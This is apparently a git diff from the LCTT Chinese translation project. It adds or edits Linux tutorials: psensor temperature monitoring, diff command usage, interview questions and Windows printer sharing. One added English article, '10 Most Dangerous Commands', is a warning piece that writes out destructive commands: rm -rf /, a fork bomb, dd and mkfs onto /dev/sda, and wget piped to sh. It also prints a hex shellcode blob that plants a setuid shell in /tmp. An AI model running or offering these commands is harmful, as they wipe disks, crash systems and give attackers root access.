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published/How to monitor system temperature on Linux.md
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published/How to monitor system temperature on Linux.md
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如何在Linux下监控系统温度
|
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================================================================================
|
||||
|
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大多数情况下，你无需担心你的电脑温度。除非制造上的缺陷，否则硬件设计一般不会使其超过最高工作温度。但即使没有任何硬件故障，各种各样的软件问题也会导致硬件过热，例如，显卡驱动的严重bug，风扇控制程序的错误配置，CPU调频守护进程的故障，等等。
|
||||
|
||||
严重的过热可能会对硬件造成永久性的伤害，所以应当时刻小心系统上的任何过热问题。因此，如果有合适的温度监控系统，能在系统温度突然急速上升时，第一时间向用户发出警报，岂不美哉？
|
||||
|
||||
本教程，我将描述**如何在Linux下监控系统温度**。
|
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|
||||
在Linux下有许多用户级工具可以检查和监控各种系统组件的温度。
|
||||
|
||||
例如[lm-sensors][1]，它可以从硬件嵌入式传感器获取信息,以达到监测温度、电压、湿度和风扇的作用；还有[hddtemp][2],它可以通过读取[S.M.A.R.T.][3]参数来测量温度；今天我们要介绍的是[psensor][4]，这是一款前端图形化界面温度监测工具，能够可视化显示CPU、Nvidia/ATI/AMD各家显卡以及硬盘等多个硬件设备的温度。
|
||||
|
||||
接下来，我将描述如何设置psensor来监控CPUs和硬盘的温度。
|
||||
|
||||
### 在Linux 桌面系统中安装 psensor###
|
||||
|
||||
使用psensor可视化显示系统温度，需要基于其他工具诸如lm-sensors和hddtemp等获得的数据。因此你需要在安装psensor的同时，一并安装这两款工具。
|
||||
|
||||
在Debian或Ubuntu下安装psensor:
|
||||
|
||||
$ sudo apt-get install lm-sensors hddtemp psensor
|
||||
|
||||
在Ubuntu下还可以通过PPA仓库安装最新版本的psensor：
|
||||
|
||||
$ sudo add-apt-repository ppa:jfi/ppa
|
||||
$ sudo apt-get update
|
||||
$ sudo apt-get install lm-sensors hddtemp psensor
|
||||
|
||||
在Fedora下安装psensor：
|
||||
|
||||
$ sudo yum install lm_sensors hddtemp
|
||||
$ sudo yum install gcc gtk3-devel GConf2-devel lm_sensors-devel cppcheck libatasmart-devel libcurl-devel json-c-devel libmicrohttpd-devel help2man libnotify-devel libgtop2-devel make
|
||||
$ wget http://wpitchoune.net/psensor/files/psensor-0.8.0.3.tar.gz
|
||||
$ tar xvfvz psensor-0.8.0.3.tar.gz
|
||||
$ cd psensor-0.8.0.3
|
||||
$ ./configure
|
||||
$ make
|
||||
$ sudo make install
|
||||
|
||||
这里注意，由于需要GTK3库的支持，psensor无法与搭载GNOME2桌面的CentOs或RHEL 6兼容。
|
||||
|
||||
### 在Linux中配置 psensor ###
|
||||
|
||||
在启动 psensor之前，你需要先配置lm_sensors和hddtemp。
|
||||
|
||||
#### lm_sensors 配置 ####
|
||||
|
||||
运行以下命令，配置lm_sensors，每一项都选择YES。
|
||||
|
||||
$ sudo sensors-detect
|
||||
|
||||
这个命令将会探查和检测你硬件中嵌入的传感器(包括CPUs、储存控制器、I/O芯片)，然后自动决定系统中哪个驱动模块需要载入并监测其温度。
|
||||
|
||||
一旦传感器检测完成，你需要把检测到的驱动模块添加到/etc配置中，这样它们才可以在开机时自动加载。
|
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|
||||
|
||||
|
||||
在Debian或Ubuntu下，检测到的驱动模块将会被添加到/etc/modules。在Fedora下，驱动信息会添加到/etc/sysconfig/lm_sersors。
|
||||
|
||||
接下来，继续加载必要的模块，如下:
|
||||
|
||||
Ubuntu:
|
||||
|
||||
$ sudo service module-init-tools start
|
||||
|
||||
Debian:
|
||||
|
||||
$ sudo /etc/init.d/kmod start
|
||||
|
||||
Fedora
|
||||
|
||||
$ sudo service lm_sensors start
|
||||
|
||||
#### hddtemp 配置 ####
|
||||
|
||||
你还需要启动hddtemp，监控硬盘驱动器的温度。
|
||||
|
||||
运行下列命令，作为一个守护进程启动hddtemp。记得把“/dev/sda”替换成你系统上的硬盘驱动器。
|
||||
|
||||
$ sudo hddtemp -d /dev/sda
|
||||
|
||||
### 用 psensor 监控系统温度 ###
|
||||
|
||||
要启动psensor监测温度，只需简单运行:
|
||||
|
||||
$ psensor
|
||||
|
||||
psensor窗口将显示一个可用的传感器列表，并将传感器中读出的温度可视化显示出来。你可以选择性地启用或禁用任意一个传感器。
|
||||
|
||||
[][5]
|
||||
|
||||
另外，你可以为每个传感器设置警报级别，这样当传感器温度超过某一阈值时，你就能得到通知了。
|
||||
|
||||
|
||||
|
||||
psensor默认使用的温度单位是“摄氏度”，最新的版本（0.7-0.8）支持在摄氏与华氏之间转换温度单位，如果你用的版本比较旧（例如0.6.x）并且不支持温度单位转换，Ubuntu用户可以通过PPA仓库来安装最新版的psensor，Debian用户则可以通过源代码来安装。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://xmodulo.com/2013/11/monitor-system-temperature-linux.html
|
||||
|
||||
译者：[Luoxcat](https://github.com/Luoxcat) 校对：[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://lm-sensors.org/
|
||||
[2]:http://www.guzu.net/linux/hddtemp.php
|
||||
[3]:http://en.wikipedia.org/wiki/S.M.A.R.T.
|
||||
[4]:http://wpitchoune.net/blog/psensor/
|
||||
[5]:http://www.flickr.com/photos/xmodulo/10719475225/
|
||||
@ -2,9 +2,9 @@
|
||||
================================================================================
|
||||
|
||||
|
||||
在比较文件的时候，通常会用GUI软件。很少有人真正会为了这个目的使用命令行工具。虽然不会说使用命令行就像散步一样简单，但是如果你是一个Linux使用者，那么我想你应该知道如何通过命令行比较文件，因为你一旦使用了它，它绝对是一个快速的方法。
|
||||
在比较文件的时候，通常会用基于GUI的软件。很少有人真正会为了这个目的使用命令行工具。虽然说使用命令行来比较文件/目录并不像一件小事儿那样容易，但是如果你是一个Linux使用者，那么我想你应该知道如何通过命令行比较文件，因为一旦使用了它，你会认为它绝对是一个快速的方法。
|
||||
|
||||
在本篇中，我们将学习如何使用diff命令通过一些实际的例子。
|
||||
在本篇中，我们将通过一些实例来学习如何使用diff命令。
|
||||
|
||||
### Linux diff 命令 ###
|
||||
|
||||
@ -32,18 +32,18 @@
|
||||
|
||||
$ diff file1 file2
|
||||
1d0
|
||||
< Hi, 2a2 > Hi,
|
||||
< Hi,
|
||||
2a2
|
||||
> Hi,
|
||||
4,5c4
|
||||
< I am fine,
|
||||
< Thank you.
|
||||
|
||||
—
|
||||
|
||||
---
|
||||
> I am fine.
|
||||
|
||||
你可以看见diff后面跟了两个文件的名字作为命令行的参数，并且它在输出中生成了不同。输出并不容易理解。理由是，这是被计算机使用的而不是为了人类。尽管如此，让我们一步步解码输出:
|
||||
你可以看见diff后面跟了两个文件的名字作为命令行的参数，并且它在输出中生成了差异比较。输出并不容易理解。理由是，这是被计算机使用的而不是为了人类。尽管如此，让我们一步步解码输出：
|
||||
|
||||
**注意** – 在下面的文本中，file1和file2将被作为旧文件和新文件。
|
||||
**注意** – 在下面的文本中，file1和file2将被当作旧文件和新文件。
|
||||
|
||||
1d0
|
||||
< Hi,
|
||||
@ -53,22 +53,20 @@
|
||||
2a2
|
||||
> Hi,
|
||||
|
||||
这里，2a2行意味着新文件中的第二行应该加到老文件的第二行后。要添加的行显示在输出的下一行用'>'标记。
|
||||
这里，2a2行意味着新文件中的第二行应该加到旧文件的第二行后。要添加的行显示在输出的下一行用'>'标记。
|
||||
|
||||
4,5c4
|
||||
< I am fine,
|
||||
< Thank you.
|
||||
|
||||
—
|
||||
|
||||
---
|
||||
> I am fine.
|
||||
|
||||
这里，4,5c4这一行意味着在旧文件中的4到5行现在已被改变并且需要用新文件中的第一行代替。添加和删除的行分别用'>'和'<'表示。
|
||||
这里，4,5c4这一行意味着在旧文件中的4到5行现在已被改变并且需要用新文件中的第4行代替。添加和删除的行分别用'>'和'<'表示。
|
||||
|
||||
那么，来总结一下,
|
||||
|
||||
- 首先diff命令的第一个参数被视为旧文件而第二个参数被视为新文件。
|
||||
- 像1d0 2a2, 4,5c4这种表达式可以用语法解码为 **[旧文件的行号或者行的范围][行为][新文件的行号或者行的范围]**。这里的'行为'可以使追加,删除或者改变替换。
|
||||
- 像1d0、2a2、4,5c4这种表达式可以用语法解码为 **[旧文件的行号或者行的范围][行为][新文件的行号或者行的范围]**。这里的'行为'可以是追加,删除或者改变替换。
|
||||
- '<'代表删除的行，而'>'代表添加的行。
|
||||
|
||||
除了文件外，diff命令还可以比较两个目录。让我们通过一个例子学习。
|
||||
@ -93,7 +91,7 @@
|
||||
|
||||
你可以看到当diff命令被用来比较这两个目录时，很容易就会显示两个文件中缺失的文件。
|
||||
|
||||
下面是在命令行下常用的选项:
|
||||
下面是一些在命令行下常用的选项:
|
||||
|
||||
### 1. 用 -i 忽略大小写 ###
|
||||
|
||||
@ -109,13 +107,15 @@
|
||||
|
||||
$ diff file1 file2
|
||||
1c1
|
||||
< HI — > hi
|
||||
< HI
|
||||
---
|
||||
> hi
|
||||
|
||||
你可以看见diff命令在输出中报告了大小写不同。
|
||||
|
||||
要去除这个默认行为，使用-i选项。
|
||||
|
||||
以下是例子:
|
||||
以下是个例子:
|
||||
|
||||
$ diff -i file1 file2
|
||||
$
|
||||
@ -124,9 +124,9 @@
|
||||
|
||||
### 2. 用 -s 选项报告两个文件相同 ###
|
||||
|
||||
在例子1的后面，我们看到如果文件相同dif不会生成报告。虽然这个默认行为不错但是它仍可能会造成很大疑惑，特别对于新手而言。因此，如果你像样diff命令明确地报告两个文件不同，那么就使用-s命令选项。
|
||||
在例子1的后面，我们看到如果文件相同diff不会生成报告。虽然这个默认行为不错但是它仍可能会造成很大疑惑，特别对于新手而言。因此，如果你像样diff命令明确地报告两个文件不同，那么就使用-s命令选项。
|
||||
|
||||
这是个例子:
|
||||
来举个例子:
|
||||
|
||||
$ diff -is file1 file2
|
||||
Files file1 and file2 are identical
|
||||
@ -138,7 +138,7 @@
|
||||
另外一个常用的是diff报告文件存在不同数量的空格。
|
||||
|
||||
|
||||
以下是例子：
|
||||
举例说明：
|
||||
|
||||
$ cat file1
|
||||
Hi, how are you?
|
||||
@ -146,14 +146,12 @@
|
||||
$ cat file2
|
||||
Hi, how are you?
|
||||
|
||||
观察这两个文件唯一的不同是'are'和'you'之间额外的空格。现在，当使用diff命令比较两个文件时，这个是输出：
|
||||
观察这两个文件唯一的不同是file2中'are'和'you'之间额外的空格。现在，当使用diff命令比较两个文件时，输出如下：
|
||||
|
||||
$ diff file1 file2
|
||||
1c1
|
||||
< Hi, how are you?
|
||||
|
||||
—
|
||||
|
||||
---
|
||||
> Hi, how are you?
|
||||
|
||||
因此你可以看到diff命令报告了不同。但是如果你想要忽略这些空格，使用 -b 选项。
|
||||
@ -169,7 +167,7 @@ diff命令还提供了更多的命令行选项。阅读[man page][1]来获取完
|
||||
|
||||
via: http://linoxide.com/linux-command/linux-diff-command-examples/
|
||||
|
||||
译者：[geekpi](https://github.com/geekpi) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
译者：[geekpi](https://github.com/geekpi) 校对：[Caroline](https://github.com/carolinewuyan)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
@ -0,0 +1,103 @@
|
||||
翻译中 Luox
|
||||
10 Most Dangerous Commands – You Should Never Execute on Linux
|
||||
================================================================================
|
||||
Linux command line is productive, useful and interesting but sometimes it may be very much dangerous specially when you are not sure what you are doing. This article is not intended to make you furious of **Linux** or **Linux command** line. We just want to make you aware of some of the commands which you should think twice before you execute them.
|
||||
|
||||
|
||||
|
||||
### 1. rm -rf Command ###
|
||||
|
||||
The **rm -rf** command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with **rm command** are.
|
||||
|
||||
- **rm** command in Linux is used to delete files.
|
||||
- **rm -r** command deletes the folder recursively, even the empty folder.
|
||||
- **rm -f** command removes ‘Read only File’ without asking.
|
||||
- **rm -rf /** : Force deletion of everything in root directory.
|
||||
- **rm -rf ** * : Force deletion of everything in current directory/working directory.
|
||||
- **rm -rf .** : Force deletion of current folder and sub folders.
|
||||
|
||||
Hence, be careful when you are executing **rm -rf** command. To overcome accidental delete of file by ‘**rm**‘ command, create an alias of ‘**rm**‘ command as ‘**rm -i**‘ in “**.bashrc**” file, it will ask you to confirm every deletion.
|
||||
|
||||
### 2. :(){:|:&};: Command ###
|
||||
|
||||
The above is actually a **fork bomb**. It operates by defining a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.
|
||||
|
||||
:(){:|:&};:
|
||||
|
||||
### 3. command > /dev/sda ###
|
||||
|
||||
The above command writes the output of ‘**command**‘ on the block **/dev/sda**. The above command writes raw data and all the files on the block will be replaced with raw data, thus resulting in total loss of data on the block.
|
||||
|
||||
### 4. mv folder /dev/null ###
|
||||
|
||||
The above command will move ‘**folder**‘ to **/dev/null**. In Linux **/dev/null** or **null** device is a special file that discards all the data written to it and reports that write operation succeed.
|
||||
|
||||
# mv /home/user/* /dev/null
|
||||
|
||||
The above command will move all the contents of a **User** directory to **/dev/null**, which literally means everything there was sent to **blackhole (null)**.
|
||||
|
||||
### 5. wget http://malicious_source -O- | sh ###
|
||||
|
||||
The above command will download a script from a malicious source and then execute it. Wget command will download the script and **sh** will execute the downloaded script.
|
||||
|
||||
**Note**: You should be very much aware of the source from where you are downloading packages and scripts. Only use those scripts/applications which is downloaded from a trusted source.
|
||||
|
||||
### 6. mkfs.ext3 /dev/sda ###
|
||||
|
||||
The above command will format the block ‘**sda**’ and you would surely be knowing that after execution of the above command your Block (**Hard Disk Drive**) would be new, **BRAND NEW!** Without any data, leaving your system into unrecoverable stage.
|
||||
|
||||
### 7. > file ###
|
||||
|
||||
The above command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> **xt.conf**” will write the configuration file or any other system or configuration file.
|
||||
|
||||
### 8. ^foo^bar ###
|
||||
|
||||
This command, as described in our [10 Lesser Known Linux Commands][1], is used to edit the previous run command without the need of retyping the whole command again. But this can really be troublesome if you didn’t took the risk of thoroughly checking the change in original command using **^foo^bar** command.
|
||||
|
||||
### 9. dd if=/dev/random of=/dev/sda ###
|
||||
|
||||
The above command will wipe out the block **sda** and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage.
|
||||
|
||||
### 10. Hidden the Command ###
|
||||
|
||||
The below command is nothing but the first command above (**rm -rf**). Here the codes are hidden in **hex** so that an ignorant user may be fooled. Running the below code in your terminal will wipe your **root** partition.
|
||||
|
||||
This command here shows that the threat may be hidden and not normally detectable sometimes. You must be aware of what you are doing and what would be the result. Don’t compile/run codes from an unknown source.
|
||||
|
||||
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
|
||||
release */
|
||||
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
|
||||
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
|
||||
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
|
||||
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
|
||||
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
|
||||
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
|
||||
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
|
||||
“cp -p /bin/sh /tmp/.beyond; chmod 4755
|
||||
/tmp/.beyond;”;
|
||||
|
||||
**Note**: Don’t execute any of the above command in your **Linux** terminal or shell or of your friend or school computer. If you want to test them, run them in virtual machine. Any in-consistence or data loss, due to the execution of above command will break your system down for which, neither the **Author** of the article nor **Tecmint** is responsible.
|
||||
|
||||
That’s all for now. I will soon be here again with another interesting article you people will love to read. Till then Stay tuned and connected to **Tecmint**. If you know any other such **Dangerous Linux Commands** and you would like us to add to the list, please tell us via comment section and don’t forgot to give your value-able feedback.
|
||||
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.tecmint.com/10-lesser-known-commands-for-linux-part-3/
|
||||
[2]:
|
||||
[3]:
|
||||
[4]:
|
||||
[5]:
|
||||
[6]:
|
||||
[7]:
|
||||
[8]:
|
||||
[9]:
|
||||
[10]:
|
||||
[11]:
|
||||
[12]:
|
||||
@ -1,103 +0,0 @@
|
||||
l3b2w1 translating
|
||||
|
||||
11 Basic Linux Interview Questions and Answers
|
||||
================================================================================
|
||||
Theories apart, we are proud to announce a new section on Tecmint, dedicated to Linux Interview. Here we will bring to you Linux Interview Questions and all other aspects of Linux, which is must for a professional in this cut-throat competition world.
|
||||
|
||||
|
||||
|
||||
A new article in this section (**Linux Interview**) will be posted on every weekend. The initiative taken by **Tecmint** is first of it’s kind among other **Linux Dedicated** websites, along with quality and unique articles.
|
||||
|
||||
We will start with **Basic Linux Interview Question** and will go advance article by article, for which your response is highly appreciated, which put us on a higher note.
|
||||
|
||||
#### Q.1: What is the core of Linux Operating System? ####
|
||||
|
||||
- Shell
|
||||
- Kernel
|
||||
- Command
|
||||
- Script
|
||||
- Terminal
|
||||
|
||||
> **Answer** : Kernel is the core of Linux Operating System. Shell is a command Line Interpreter, Command is user Instruction to Computer, Script is collection of commands stored in a file and Terminal is a command Line Interface
|
||||
|
||||
#### Q.2: What Linus Torvalds Created? ####
|
||||
|
||||
- Fedora
|
||||
- Slackware
|
||||
- Debian
|
||||
- Gentoo
|
||||
- Linux
|
||||
|
||||
> **Answer** : Linux Torvalds created Linux, which is the kernel (heart) of all of the above Operating System and all other Linux Operating System.
|
||||
|
||||
#### Q.3: Torvalds, Wrote most of the Linux Kernel in C++ programming Language, do you agree? ####
|
||||
|
||||
> **Answer** : No! Linux Kernel contains 12,020,528 Lines of codes out of which 2,151,595 Lines are comments. So remaining 9,868,933 lines are codes and out of 9,868,933 Lines of codes 7,896,318 are written in C Programming Language.
|
||||
|
||||
The remaining Lines of code 1,972,615 is written in C++, Assembly, Perl, Shell Script, Python, Bash Script, HTML, awk, yacc, lex, sed, etc.
|
||||
|
||||
**Note** : The Number of Lines of codes varies on daily basis and an average of more than 3,509 lines are being added to Kernel.
|
||||
|
||||
#### Q.4: Linux initially was developed for intel X86 architecture but has been ported to other hardware platform than any other Operating System. Do you agree?. ####
|
||||
|
||||
> **Answer** : Yes, I do agree. Linux was written for x86 machine, and has been ported to all kind of platform. Today’s more than 90% of supercomputers are using Linux. Linux made a very promising future in mobile phone, Tablets. In-fact we are surrounded by Linux in remote controls, space science, Research, Web, Desktop Computing. The list is endless.
|
||||
|
||||
#### Q.5: Is it legal to edit Linux Kernel? ####
|
||||
|
||||
> **Answer** : Yes, Kernel is released under General Public Licence (GPL), and anyone can edit Linux Kernel to the extent permitted under GPL. Linux Kernel comes under the category of Free and Open Source Software (FOSS).
|
||||
|
||||
#### Q.6: What is the basic difference between UNIX and Linux Operating System. ####
|
||||
|
||||
> **Answer** : Linux Operating System is Free and Open Source Software, the kernel of which is created by Linus Torvalds and community. Well you can not say UNIX Operating System doesn’t comes under the category of Free and Open Source Software, BSD, is a variant of UNIX which comes under the category of FOSS. Moreover Big companies like Apple, IBM, Oracle, HP, etc. are contributing to UNIX Kernel.
|
||||
|
||||
#### Q. 7: Choose the odd one out. ####
|
||||
|
||||
- HP-UX
|
||||
- AIX
|
||||
- OSX
|
||||
- Slackware
|
||||
- Solaris
|
||||
|
||||
> **Answer** : Slackware is the odd in the above list. HP-UX, AIX, OSX, Solaris are developed by HP, IBM, APPLE, Oracle respectively and all are UNIX variant. Slackware is a Linux Operating System.
|
||||
|
||||
#### Q.8: Is Linux Operating system Virus free? ####
|
||||
|
||||
> **Answer** : No! There doesn’t exist any Operating System on this earth that is virus free. However Linux is known to have least number of Viruses, till date, yes even less than UNIX OS. Linux has had about 60-100 viruses listed till date. None of them actively spreading nowadays. A rough estimate of UNIX viruses is between 85 -120 viruses reported till date.
|
||||
|
||||
#### Q.9: Linux is which kind of Operating System? ####
|
||||
|
||||
- Multi User
|
||||
- Multi Tasking
|
||||
- Multi Process
|
||||
- All of the above
|
||||
- None of the above
|
||||
|
||||
> **Answer** : All of the Above. Linux is an Operating System which supports Multi User, Running a Number of Processes performing different tasks simultaneously.
|
||||
|
||||
#### Q.10: Syntax of any Linux command is: ####
|
||||
|
||||
- command [options] [arguments]
|
||||
- command options [arguments]
|
||||
- command [options] [arguments]
|
||||
- command options arguments
|
||||
|
||||
> **Answer** : The correct Syntax of Linux Command is Command [options] [arguments].
|
||||
|
||||
#### Q.11: Choose the odd one out. ####
|
||||
|
||||
- Vi
|
||||
- vim
|
||||
- cd
|
||||
- nano
|
||||
|
||||
> **Answer** : The odd one in the above list is cd. Vi, vim and nano are editors which is useful in editing files, while cd command is used for changing directory.
|
||||
|
||||
That’s all for now. How much you learned for the above questions? How it helped you in your Interview? We would like to hear all these from you in our comment section. Wait till the next weekend, for new set of questions. Till then stay healthy, tuned and connected to **Tecmint**.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/basic-linux-interview-questions-and-answers/
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
164
sources/Basic Linux Interview Questions and Answers – Part II.md
Normal file
164
sources/Basic Linux Interview Questions and Answers – Part II.md
Normal file
@ -0,0 +1,164 @@
|
||||
Basic Linux Interview Questions and Answers – Part II
|
||||
================================================================================
|
||||
Continuing the Interview Series, we are giving 10 Questions here, in this article. These questions and the questions in the future articles doesn’t necessarily means they were asked in any interview. We are presenting you an interactive learning platform through these kind of posts, which surely will be helpful.
|
||||
|
||||
|
||||
|
||||
Upon the analysis of comments in different forums on last article [11 Basic Linux Interview Questions][1] of this series, it is important to mention here that to bring up a quality article to our readers. We give our time and money, and in return what we expect from you? Nothing. If you can’t praise our work, please don’t demoralize us from your negative comments.
|
||||
|
||||
If you find nothing new in a post, don’t forget that for someone it was helpful, and for that he/she was thankful. We can’t make everyone happy in each of our article. Hope you readers would take pain to understand this.
|
||||
|
||||
### Q.1: Which command is used to record a user login session in a file? ###
|
||||
|
||||
- macro
|
||||
- read
|
||||
- script
|
||||
- record
|
||||
- sessionrecord
|
||||
|
||||
> **Answer** : The ‘script’ command is used to record a user’s login session in a file. Script command can be implemented in a shell script or can directly be used in terminal. Here is an example which records everything between script and exit.
|
||||
|
||||
Let’s record the user’s login session with script command as shown.
|
||||
|
||||
[root@tecmint ~]# script my-session-record.txt
|
||||
|
||||
Script started, file is my-session-record.txt
|
||||
|
||||
The content of log file ‘my-session-record.txt’ can be views as:
|
||||
|
||||
[root@tecmint ~]# nano my-session-record.txt
|
||||
|
||||
script started on Friday 22 November 2013 08:19:01 PM IST
|
||||
[root@tecmint ~]# ls
|
||||
^[[0m^[[01;34mBinary^[[0m ^[[01;34mDocuments^[[0m ^[[01;34mMusic^[[0m $
|
||||
^[[01;34mDesktop^[[0m ^[[01;34mDownloads^[[0m my-session-record.txt ^[[01;34$
|
||||
|
||||
### Q.2: The kernel log message can be viewed using which of the following command? ###
|
||||
|
||||
- dmesg
|
||||
- kernel
|
||||
- ls -i
|
||||
- uname
|
||||
- None of the above
|
||||
|
||||
> **Answer** : The kernel log message can be viewed by executing 'dmesg' command. In the list kernel is not a valid Linux command, 'ls -i' lists the file with inode within the working directory and 'uname' command shows os.
|
||||
|
||||
[root@tecmint ~]# dmesg
|
||||
|
||||
Initializing cgroup subsys cpuset
|
||||
Initializing cgroup subsys cpu
|
||||
Linux version 2.6.32-279.el6.i686 (mockbuild@c6b9.bsys.dev.centos.org) (gcc version 4.4.6 20120305 (Red Hat 4.4.6-4) (GCC) ) #1 SMP Fri Jun 22 10:59:55 UTC 2012
|
||||
KERNEL supported cpus:
|
||||
Intel GenuineIntel
|
||||
AMD AuthenticAMD
|
||||
NSC Geode by NSC
|
||||
Cyrix CyrixInstead
|
||||
Centaur CentaurHauls
|
||||
Transmeta GenuineTMx86
|
||||
Transmeta TransmetaCPU
|
||||
UMC UMC UMC UMC
|
||||
Disabled fast string operations
|
||||
BIOS-provided physical RAM map:
|
||||
...
|
||||
|
||||
### Q.3: Which command is used to display the release of Linux Kernel? ###
|
||||
|
||||
- uname -v
|
||||
- uname -r
|
||||
- uname -m
|
||||
- uname -n
|
||||
- uname -o
|
||||
|
||||
> **Answer** : The command ‘uname -r’ display the kernel release information. The switch ‘-v’ , ‘-m’ , ‘-n’ , ‘o’ display kernel version, machine hardware name, network node, hostname and operating system, respectively.
|
||||
|
||||
[root@tecmint ~]# uname -r
|
||||
|
||||
2.6.32-279.el6.i686
|
||||
|
||||
### Q.4: Which command is used to identify the types of file? ###
|
||||
|
||||
- type
|
||||
- info
|
||||
- file
|
||||
- which
|
||||
- ls
|
||||
|
||||
> **Answer** : The ‘file’ command is used to identify the types of file. The syntax is ‘file [option] File_name’.
|
||||
|
||||
[root@tecmint ~]# file wtop
|
||||
|
||||
wtop: POSIX shell script text executable
|
||||
|
||||
### Q.5: Which command locate the binary, source and man page of a command? ###
|
||||
|
||||
> **Answer** : The ‘whereis’ command comes to rescue here. The ‘whereis’ command locate the binary, source, and manual page files for a command.
|
||||
|
||||
[root@tecmint ~]# whereis /usr/bin/ftp
|
||||
|
||||
ftp: /usr/bin/ftp /usr/share/man/man1/ftp.1.gz
|
||||
|
||||
### Q.6: When a user login, which files are called for user profile, by default?? ###
|
||||
|
||||
> **Answer** : The ‘.profile’ and ‘.bashrc’ present under home directory are called for user profile by default.
|
||||
|
||||
[root@tecmint ~]# ls -al
|
||||
-rw-r--r--. 1 tecmint tecmint 176 May 11 2012 .bash_profile
|
||||
-rw-r--r--. 1 tecmint tecmint 124 May 11 2012 .bashrc
|
||||
|
||||
### ###Q.7: The ‘resolve.conf’ file is a configuration file for?
|
||||
|
||||
> **Answer** : The ‘/etc/resolve.conf’ is the configuration file for DNS at client side.
|
||||
|
||||
[root@tecmint ~]# cat /etc/resolv.conf
|
||||
|
||||
nameserver 172.16.16.94
|
||||
|
||||
### Q.8: Which command is used to create soft link of a file? ###
|
||||
|
||||
- ln
|
||||
- ln -s
|
||||
- link
|
||||
- link -soft
|
||||
- None of the above
|
||||
|
||||
> **Answer** : The ‘ln -s’ command is used to create soft link of a file in Linux Environment.
|
||||
|
||||
[root@tecmint ~]# ln -s /etc/httpd/conf/httpd.conf httpd.original.conf
|
||||
|
||||
### Q.9: The command ‘pwd’ is an alias of command ‘passwd’ in Linux? ###
|
||||
|
||||
> **Answer** : No! The command ‘pwd’ is not an alias of command ‘passwd’ by default. ‘pwd’ stands for ‘print working directory’, which shows current directory and ‘passwd is used to change the password of user account in Linux.
|
||||
|
||||
[root@tecmint ~]# pwd
|
||||
|
||||
/home/tecmint
|
||||
|
||||
[root@tecmint ~]# passwd
|
||||
Changing password for user root.
|
||||
New password:
|
||||
Retype new password:
|
||||
|
||||
### Q.10: How will you check pci devices vendor and version on a Linux? ###
|
||||
|
||||
> **Answer** : The Linux command ‘lspci’ comes to rescue here.
|
||||
|
||||
[root@tecmint ~]# lspci
|
||||
|
||||
00:00.0 Host bridge: Intel Corporation 5000P Chipset Memory Controller Hub (rev b1)
|
||||
00:02.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 2-3 (rev b1)
|
||||
00:04.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 4-5 (rev b1)
|
||||
00:06.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 6-7 (rev b1)
|
||||
00:08.0 System peripheral: Intel Corporation 5000 Series Chipset DMA Engine (rev b1)
|
||||
...
|
||||
|
||||
That’s all for now. I hope these above questions might be very helpful to you. In our next weekend we again come-up with some new set of questions. Till then stay healthy, tuned and connected to Tecmint.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/basic-linux-interview-questions-and-answers-part-ii/
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.tecmint.com/basic-linux-interview-questions-and-answers/
|
||||
@ -0,0 +1,49 @@
|
||||
Daily Ubuntu Tips – Print From Shared Windows Printers
|
||||
================================================================================
|
||||
For users with both Windows and Ubuntu machines and a single printer, this blog post is going to show you how to share a printer in Windows and allow Ubuntu machines to printer to it.
|
||||
|
||||
Almost all printers support Windows by default. Printer manufactures are building printers for Windows and not many are doing it for Linux systems, including Ubuntu. So, if you have a printer with full Windows support, you can share it from the Windows machine and allow other systems to print to it.
|
||||
|
||||
I ran into this problem few years go when most printers didn’t support Linux systems. I had an older printer which was designed specifically for Windows and Mac OS X with no support for Linux.
|
||||
|
||||
I installed the printer driver on my Windows machine and it worked great. My Windows machine was printing just fine, but couldn’t get the Ubuntu machine to because the printer didn’t support LAN.
|
||||
|
||||
So, I shared the printer from Windows and my Ubuntu machine was printing properly with the correct fonts and style. If you find yourself in similar situation, follow the guide below to do the same.
|
||||
|
||||
First, logon to Windows and right-click the printer you wish to share and click ‘**Printer properties**’
|
||||
|
||||
|
||||
|
||||
